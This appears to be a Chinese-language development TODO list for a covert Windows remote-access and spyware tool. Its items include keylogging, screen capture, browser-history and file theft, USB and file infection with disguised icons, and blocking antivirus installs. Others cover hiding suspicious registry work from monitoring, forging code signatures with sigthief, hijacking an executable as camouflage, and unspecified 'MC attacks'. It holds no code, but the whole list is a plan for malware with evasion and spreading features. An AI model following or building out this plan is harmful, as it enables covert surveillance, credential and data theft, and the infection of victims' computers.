146 lines
6.2 KiB
Plaintext
146 lines
6.2 KiB
Plaintext
# 1. 键鼠监听
|
||
X 2. LW3T实时同步服务器
|
||
# 3. 去除命令行窗口 (改为os.popen)
|
||
# 4. 重启程序问题
|
||
# 5. 进程图标和进程名
|
||
# 6. 文件转储和传输
|
||
# 7. 远程查看T.log
|
||
P 8. 感染
|
||
# 9. 自动截图留作历史
|
||
# 10. 更新程序问题
|
||
# 11. 大文件传输问题
|
||
# 12. UI
|
||
# 13. 进程管理
|
||
# 14. 命令提示
|
||
# P 15. SuperRDP
|
||
# X 16. 子域名
|
||
# 17. KM部分区域截屏
|
||
# 18. 如果启动连接失败，发送T.log并且请求更新
|
||
# 19. 网络命令行失效
|
||
# 20. C#2采集
|
||
21. 屏幕监控支持查看和选择视频流采集设备
|
||
# 22. PDir复制文件到操作系统使用内存流避免磁盘数据丢失(迅速拷贝时，受限于时间)
|
||
23. 全流程保证不出任何差错，可能出错的地方加Try，保证至少能连接到服务器，之后服务器再发数据处理
|
||
24. UI写个Termination默认UI，类似但不是Loading页面，显示Termination的图标
|
||
# 25. 跨线程UI（线程安全的Tkinter）
|
||
# 26. 支持操作UI句柄！
|
||
# M 27. 大文件传输如果出错需要try并汇报
|
||
# 28. TWNT断连检查更新获取SHA256时验证返回值是否符合SHA256格式
|
||
# 29. TWNT断连检查获取文件是否为可执行文件
|
||
# 30. TWNT断连时要求更加严格
|
||
# 30. TWNT断连时验证的SHA256在Termination.__init_#alue__阶段就准备好
|
||
# 32. TWNT_Update BUG修改
|
||
# 33. TWNT提交日志时抽取重点，避免报错
|
||
# 34. 解决连接异常多次导致不继续尝试连接的BUG
|
||
# 35. Tkinter PIL 重复部署出现PyImage5问题
|
||
# P 36. 减小 Pyinstaller 打包量
|
||
# X 37. 考虑是否加入pywebview
|
||
# 38. PDir更改TService位置后出现注册问题
|
||
# 39. Bad Int
|
||
# 40. Png 元数据 及 压缩
|
||
# 41. 收集数据线程不自杀（已解决：线程销毁判断条件出现问题）
|
||
# 42. KM 数据收集过于频繁
|
||
# 43. 快捷面板
|
||
# 44. Python Mode下启动时报错（怀疑PDir对于路径处理出现问题）
|
||
# 45. sys.stdout 输出转存到T.log，允许更换路径，判断日志等级，自动上传日志
|
||
# P 46. 旧方法处理修正，减少SOCKET.ROUTE使用量，针对多客户端开发（或许不现实）
|
||
# P 47. 更多冗余机制，GUID获取失败冗余机制
|
||
# 48. 进程终止
|
||
# 49. ComputerInfo序列化失败错误处理冗余
|
||
# 50. 研究Tfxx.log错误信息
|
||
51. 在上述全部完成后修复 LW3T 复杂系统
|
||
52. 危险的，可能被怀疑的操作使用新进程tool来操作，尤其是注册表相关操作，同时注意启动新进程不要被监控到
|
||
# 53. 重写TService，给它换个储存位置
|
||
# 54. 终止任务
|
||
# P 55. 动态计算网络用量做出压缩等级
|
||
# 56. 新建任务
|
||
# 57. 上传文件
|
||
# 58. 结束进程
|
||
# P 59. 速度计时
|
||
# 60. 更新程序
|
||
61. 自动伪造签名（sigthief）
|
||
62. MC攻击
|
||
# 63. ./Errors涵盖接入
|
||
# 64. RDP远程
|
||
# 65. 本地 Flask 控制器 （html）
|
||
66. 本地禁止 HOSTS 访问（无360）
|
||
# 67. 阻止杀毒软件安装
|
||
# 68. 文件管理器右键重命名 删除 更改权限组 查看属性，复制文件路径功能 (考虑使用 FTP)
|
||
# 69. 更新
|
||
70. 感染模块（内部签名）
|
||
71. 日志流加载出错，考虑前端 "\n" 回车字符忽略导致行数计算错误
|
||
# 72. 远程模块
|
||
# 73. 剪切板模块
|
||
# 74. 内部工作站
|
||
# 75. 纯 Python 库 本地化
|
||
76. 本地化测试 UI
|
||
# 77. 更新程序修复
|
||
78. TDOC
|
||
# X 79. FRP
|
||
80. 任务管理器
|
||
81. LW3T
|
||
# 82. 日志程序基本处理
|
||
# X 83. 日志颜色和模拟终端优化，去除Thread-Data回调
|
||
# V 84. 处理 cmd 和 powershell 模式下可能的进程逃逸
|
||
# V 85. 重置被污染的虚拟环境
|
||
# X 86. 模拟终端对于 \d 控制字符的处理
|
||
# V 87. 合理模块化 TLhread
|
||
88. 使用合适的方法启用 T_VMDISC 与 T_EXEConfig 的功能
|
||
89. 劫持 exe 作为其伪装
|
||
# X 90. 页面名称 "绘字节"
|
||
91. SSH 线程
|
||
92. 浏览器记录获取
|
||
# V 93. 保持窃取信息，检查预览图同步线程不工作问题原因
|
||
# 94. 标准定义类型设定
|
||
# P 95. 编译地时候记得处理 ARGS 注脚（也无所谓） LINE: 94
|
||
# 96. T_Tools 图片压缩 API 协议更改，修改 TWNT
|
||
# V P 97. 不说脏话，保持教养
|
||
# 98. TWNT 在运行 tasklist 后会无法重连。
|
||
# 99. 接受 命令行信号 SIGN
|
||
# 100. .INF 程序重写编译
|
||
101. T 内置简化编译链（Python）
|
||
# 102. T_Std/ T_Log 保存到日志后出现 双\n 的问题
|
||
# 103. TWNT 极限抗压
|
||
# X 104. FRP 资源文件对于 T 物理位置
|
||
105. 提供更简单的 API 帮助管理员创建临时文件
|
||
# 106. BAD PLT 问题
|
||
107. 解决由 长期不向服务器传输数据导致得 连接未中断但 PLT 记录已释放，（Already Connected）
|
||
108. 控制 CapsLock、Camera 灯
|
||
# 109. 长期无指令导致 PLT 超时。
|
||
110. 启动原神、bluearhi # e（条件:）
|
||
111. Plan 线程计划 + 本地文件读写
|
||
112. 本地配置文件可对 任意线程变量进行修改（释放本地文件 payload 可对程序进行修改）
|
||
# 113. 处理 TWNT.On_Process，减少配置项
|
||
# 114. TWNT 集中管理 emit，不要滥用 TWNT.Socket.emit，集中管理，减少代码中 self.Socket 的存储，检查 self.emit 的错误语法
|
||
# V 115. On_Process 配置项 根据配置文件决定。
|
||
# V 116. Github EXE 更新源
|
||
# 117. TLUI Thread 方便处理
|
||
118. TREPORT 程序
|
||
119. TDOC 完备化
|
||
# V 120. 主程序初始化速度过慢，减少冗余处理（是否是 import 的问题）
|
||
# 121. TWNT 完全完备
|
||
# 122. TWNT PAH 根据断连原因请求调度
|
||
# X 123. PIL.Image 预先初始化，不销毁组件
|
||
124. TLUI 组件标准格式化处理，删除多余注释内容，做好终止销毁组件处理
|
||
125. 释放文件本地启动（伪装正常文件），感染时修改 ICON
|
||
# V 126. 修改 T 的释放路径和名称
|
||
127. USB 感染处理
|
||
# V 128. 删除 Flask 组件
|
||
129. TLUI 格式化
|
||
130. TLhread 格式化
|
||
# V 131. 本地化转储代码
|
||
132. 自动扫盘转储数据
|
||
# 133. Room 模式
|
||
# 134. T_Log.py , LINE 55 行 未使用 TWNT.emit
|
||
135. 对于线程任务控制台，修改内容时特殊类型无法修改
|
||
136. VNC 支持，FRP / SSH / FTP
|
||
# V 137. 删除 pywebview（webview-winui3 负荷）
|
||
138. TWNEUpdateApp 修正
|
||
139. MC 攻击
|
||
# V 140. 调整 C扩展 程序 args 处理
|
||
141. 对于 需要写入的 进程进行回调来读取 edit
|
||
|
||
|
||
https://www.virustotal.com/
|
||
|